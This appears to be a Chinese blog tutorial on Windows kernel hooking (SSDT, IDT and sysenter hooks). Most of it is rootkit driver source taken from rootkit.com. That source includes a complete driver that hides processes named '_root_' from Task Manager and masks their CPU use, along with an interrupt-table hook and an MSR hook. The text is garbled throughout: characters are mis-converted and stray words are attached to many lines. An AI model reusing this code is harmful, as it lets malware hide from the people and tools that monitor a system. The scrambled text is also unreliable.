SSDT-hook,IDT-hook原理

【詳細過程】
此次主要說說核心層的hook。包括SSDT-hook,IDT-hook,sysenter-hook。歡迎討論,指正!內核層須要驅動,有這方面的基礎最好,若是不會,瞭解下其中的思路也能夠的。

II. SSDT-hook,IDT-hook,sysenter-hook
一.SSDT-hook
(一)通常思路:
1.先來了解一下,什麼是SSDT
SSDT既System Service Dispath Table。在瞭解他以前,咱們先了解一下NT的基本組建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各類 Win3二、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。這些dll中的 APIs 轉過來調用了 NT executive 提供的服務。儘管調用了相同的系統服務,但因爲子系統不一樣,API 函數的函數名也不一樣。例如,要用Win32 API 打開一個文件,應用程序會調用 CreateFile(),而要用 POSIX API,則應用程序調用 open() 函數。這兩種應用程序最終都會調用 NT executive 中的 NtCreateFile() 系統服務。windows

 

用戶模式(User mode)的全部調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,而後經過Int 2E或SYSENTER進入到內核模式,經過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,再以下圖api

 

從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,若是咱們事先把這個地址改爲咱們特定函數的地址,那麼,哈哈。。。。。。。下來詳細瞭解一下,SSDT的結構,以下圖:
SSDT.jpg
SSDT.JPG
KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構是
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}

其中,
ServiceTableBase System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操做系統的 checked builds,包含着 SSDT 中每一個服務被調用次數的計數器。這個計數器由 INT 2Eh 處理程序 (KiSystemService)更新。 
ParamTableBase 包含每一個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每一個地址4子節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每一個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是咱們經常使用的和窗口,桌面有關的,具體存在於Win32k.sys。在如圖:數據結構

 

 

 

右側的服務分發就經過KeServiceDescriptorTableShadow。
   那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向咱們本身的函數。
2.Hook前的準備-改變SSDT內存的保護
系統對SSDT都是隻讀的,不能寫。若是試圖去寫,等你的就是藍臉。通常能夠修改內存屬性的方法有:經過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,以下圖:
CR0.jpg
cr0.jpg   
其中第1位叫作保護屬性位,控制着頁的讀或寫屬性。若是爲1,則能夠讀/寫/執行;若是爲0,則只能夠讀/執行。SSDT,IDT的頁屬性在默認下都是隻讀,可執行的,但不能寫。因此如今要把這一位設置成1。
(2)經過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到咱們本身的MDL區域中,並把這個區域設置成可寫。MDL的結構:
typedef struct _MDL {
struct _MDL *Next;   
CSHORT Size;       
CSHORT MdlFlags; //關鍵在這裏,未來設置成MDL_MAPPED_TO_SYSTEM_VA ,這樣一來,這塊區域就可寫
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
首先須要知道KeServiceDscriptorTable的基址和入口數,這樣就能夠用MmCreateMdl建立一個有起始地址和大小的內存區域。而後把這個MDL結構的flag改爲
MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就能夠寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大致框架以下:
//先聲明一個System Service Descriptor Table,咱們知道SSDT及SSPT都從這個表中指向
#pragma pack(1)
typedef struct ServiceDescriptorEntry {

          unsigned int *ServiceTableBase;

          unsigned int *ServiceCounterTableBase;

          unsigned int NumberOfServices;

          unsigned char *ParamTableBase;

} SSDT_Entry;

#pragma pack()

__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;


/
PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;
// 代碼
// 保存原系統調用位置



// 映射咱們的區域

g_pmdlSystemCall = MmCreateMdl(NULL,

                     KeServiceDescriptorTable.ServiceTableBase,

                     KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

     return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// 改變MDL的flags

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |

                               MDL_MAPPED_TO_SYSTEM_VA;


//在內存中索定,不讓換出
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

如今遇到的第一個問題解決了,但接着面臨另一個問題,如何得到SSDT中函數的地址呢?
3.四個有用的宏
SYSTEMSERVICE macro:能夠得到由ntoskrnl.exe導出函數,以Zw*開頭函數的地址,這個函數的返回值就是Nt*函數,Nt*函數的地址就在SSDT中
SYSCALL_INDEX macro:得到Zw*函數的地址並返回與之通訊的函數在SSDT中的索引。
這兩個宏之因此能工做,是由於全部的Zw*函數都開始於opcode:MOV eax, ULONG,這裏的ULONG就是系統調用函數在SSDT中的索引。
HOOK_SYSCALL和UNHOOK_SYSCALL macros:得到Zw*函數的地址,取得他的索引,自動的交換SSDT中索引所對應的函數地址和咱們hook函數的地址。
這四個宏具體是:
#define SYSTEMSERVICE(_func) /
          KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )       /

          _Orig = (PVOID) InterlockedExchange( (PLONG) /

          &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) /

          InterlockedExchange((PLONG)           /

          &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
      
4.小試牛刀:利用SSDT Hook隱藏進程
咱們所熟知的任務管理器,能察看系統中的全部進程及其餘不少信息,這是因爲調用了一個叫ZwQuerySystemInformation的內核函數,具體結構是:
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass, //若是這值是5,則表明系統中全部進程信息
IN PVOID SystemInformation, //這就是最終列舉出的信息,和上面的值有關
IN ULONG SystemInformationLength, //後兩個不重要
OUT PULONG ReturnLength)
若是用咱們本身函數,這個函數能夠把咱們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大致思路以下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現本身的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用上面介紹的宏來交換ZwQuerySystemInformation與咱們本身的New*函數
(4) 卸載New*函數,完成
具體實例:來自Rootkit.com,我作了註釋,代碼也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //僅適用於checked build版本
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()app

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//得到SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]框架


PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//得到函數在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//調換本身的hook函數與原系統函數的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸載hook函數
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) /
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)函數

//聲明各類結構
struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};性能

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};ui

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
    LARGE_INTEGER          IdleTime;
    LARGE_INTEGER          KernelTime;
    LARGE_INTEGER          UserTime;
    LARGE_INTEGER          DpcTime;
    LARGE_INTEGER          InterruptTime;
    ULONG              InterruptCount;
};spa


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);操作系統


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER          m_UserTime;
LARGE_INTEGER          m_KernelTime;


//咱們的hook函數,過濾掉以"_root_"開頭的進程
NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
       // 列舉系統進程鏈表
     // 尋找以"_root_"開頭的進程
     
          
     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
     
     while(curr)
     {
            //DbgPrint("Current item is %x/n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {
        if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
        {
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

          if(prev) // Middle or Last entry
          {
            if(curr->NextEntryDelta)
              prev->NextEntryDelta += curr->NextEntryDelta;
            else // we are last, so make prev the end
              prev->NextEntryDelta = 0;
          }
          else
          {
            if(curr->NextEntryDelta)
            {
              // we are first in the list, so move it forward
              (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
              SystemInformation = NULL;
          }
        }
      }
      else // Idle process入口
      {
         // 把_root_進程的時間加給Idle進程,Idle稱空閒時間
          
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

         // 重設時間,爲下一次過濾
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
       }
    }
    else if (SystemInformationClass == 8) // 列舉系統進程時間
    {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called/n");

   // 卸載hook
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // 解索並釋放MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 
           IN PUNICODE_STRING theRegistryPath)
{
   // 註冊一個卸載的分發函數,與與應用層溝通
   theDriverObject->DriverUnload = OnUnload;

   // 初始化全局時間爲零
   // 這將會解決時間問題,若是不這樣,儘管隱藏了進程,但時間的消耗會不變,cpu 100%
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

   // 儲存舊的函數地址
   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   // 把SSDT隱射到咱們的區域,以便修改它爲可寫屬性
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // 改變MDL的Flags屬性爲可寫,既然可寫固然可讀,可執行
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   // 用了宏,把原來的Zw*替換成咱們的New*函數。至此已完成了咱們的主要兩步,先突破了SSDT的保護,接着用宏更改了目標函數,下來就剩下具體的過濾任務了    HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );                                   return STATUS_SUCCESS; } 二.IDT hook (一)基本思路:IDT(Interrupt Descriptor Table)中斷描述符表,是用來處理中斷的。中斷就是停下如今的活動,去完成新的任務。一箇中斷能夠起源於軟件或硬件。好比,出現頁錯誤,調用IDT中的0x0E。或用戶進程請求系統服務(SSDT)時,調用IDT中的0x2E。而系統服務的調用是常常的,這個中斷就能觸發。咱們如今就想辦法,先在系統中找到IDT,而後肯定0x2E在IDT中的地址,最後用咱們的函數地址去取代它,這樣以來,用戶的進程(能夠特定設置)一調用系統服務,咱們的hook函數即被激發。 (二)需解決的問題:從上面分析能夠看出,咱們大概須要解決這幾個問題: 1.IDT如何獲取呢?SIDT指令能夠辦到,它能夠在內存中找到IDT,返回一個IDTINFO結構的地址。這個結構中就含有IDT的高半地址和低半地址。爲了方便把這兩個半地址合在一塊兒,咱們能夠用一個宏。IDTINFO,和宏的結構以下: typedef struct { WORD IDTLimit; WORD LowIDTbase; //IDT的低半地址 WORD HiIDTbase;    //IDT的高半地址 } IDTINFO; 方便獲取地址存取的宏 #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16)) 2.IDT有最多256個入口,咱們如今要的是其中的0x2E,這個中斷號的入口地址如何獲取呢?    #pragma pack(1) typedef struct { WORD LowOffset;           //入口的低半地址 WORD selector; BYTE unused_lo; unsigned char unused_hi:5;     // stored TYPE ? unsigned char DPL:2; unsigned char P:1;         // vector is present WORD HiOffset;          //入口地址的低半地址 } IDTENTRY; #pragma pack() 知道了這個入口結構,就至關於知道了每間房(能夠把IDT看做是一排有256間房組成的線性結構)的長度,咱們先獲取全部的入口idt_entrys,那麼第0x2E個房間的地址也就能夠肯定了,即idt_entrys[0x2E]。 3.若是獲得了0x2e的地址,如何用咱們的hook地址改寫原中斷地址呢? 見如下核心代碼: DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢復hook #define NT_SYSTEM_SERVICE_INT 0x2e //咱們的hook函數 int HookInterrupts() {      IDTINFO idt_info;          //SIDT將返回的結構      IDTENTRY* idt_entries;    //IDT的全部入口      IDTENTRY* int2e_entry;    //咱們目標的入口      __asm{         sidt idt_info;         //獲取IDTINFO      }     //獲取全部的入口      idt_entries =     (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); //保存真實的2e地址      KiRealSystemServiceISR_Ptr =                                  MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,            idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);     //獲取0x2E的入口地址      int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);      __asm{        cli;                       // 屏蔽中斷,防止被打擾        lea eax,MyKiSystemService; // 得到咱們hook函數的地址,保存在eax        mov ebx, int2e_entry;      // 0x2E在IDT中的地址,ebx中分地高兩個半地址        mov [ebx],ax;              // 把咱們hook函數的地半地址寫入真是第半地址      shr eax,16                 //eax右移16,獲得高半地址        mov [ebx+6],ax;           // 寫入高半地址      sti;                      //開中斷      }      return 0; } 具體代碼見:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip (三)注意點: 1.每一個處理器都有個IDT,因此對於多CPU必定要注意,全部的IDT都要hook。 2.在winxp,win2k3,vsta下失效。 三.SYSENTRY hook 爲了性能的考慮,xp後的系統都改用sysentry命令來進入ring0,去調用SSDT中的服務,再也不是經過IDT中的 int 2E。這也使得咱們hook也變得相對容易了。 首先得到sysentry的地址,而後改之,不用再考慮IDT了。見下面的代碼: #include "ntddk.h" ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {     DbgPrint("ROOTKIT: OnUnload called/n"); } // Hook function __declspec(naked) MyKiFastCallEntry() {     __asm {       jmp [d_origKiFastCallEntry] //這啥都沒作,換成你想幹的           } } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {     theDriverObject->DriverUnload = OnUnload;      __asm {                      mov ecx, 0x176                        rdmsr                          // 讀IA3_SYSENTER_EIP寄存器值,存有sysenter的地址                    mov d_origKiFastCallEntry, eax //保存原值,以便恢復       mov eax, MyKiFastCallEntry     // hook函數地址       wrmsr                          // 將hook函數移入IA32_SYSENTER_EIP寄存器     }     return STATUS_SUCCESS; } 基本的改變數據結構的hook就說到這裏,固然還有DKOM這種高級的技術,有興趣的本身去看看吧。                                                                     by LvG(呂歌) 參考文獻:<<Rootkits: Subverting the Windows Kernel >> rootkit.com           <<widows internels>> <<Undocumented NT>>

相關文章
相關標籤/搜索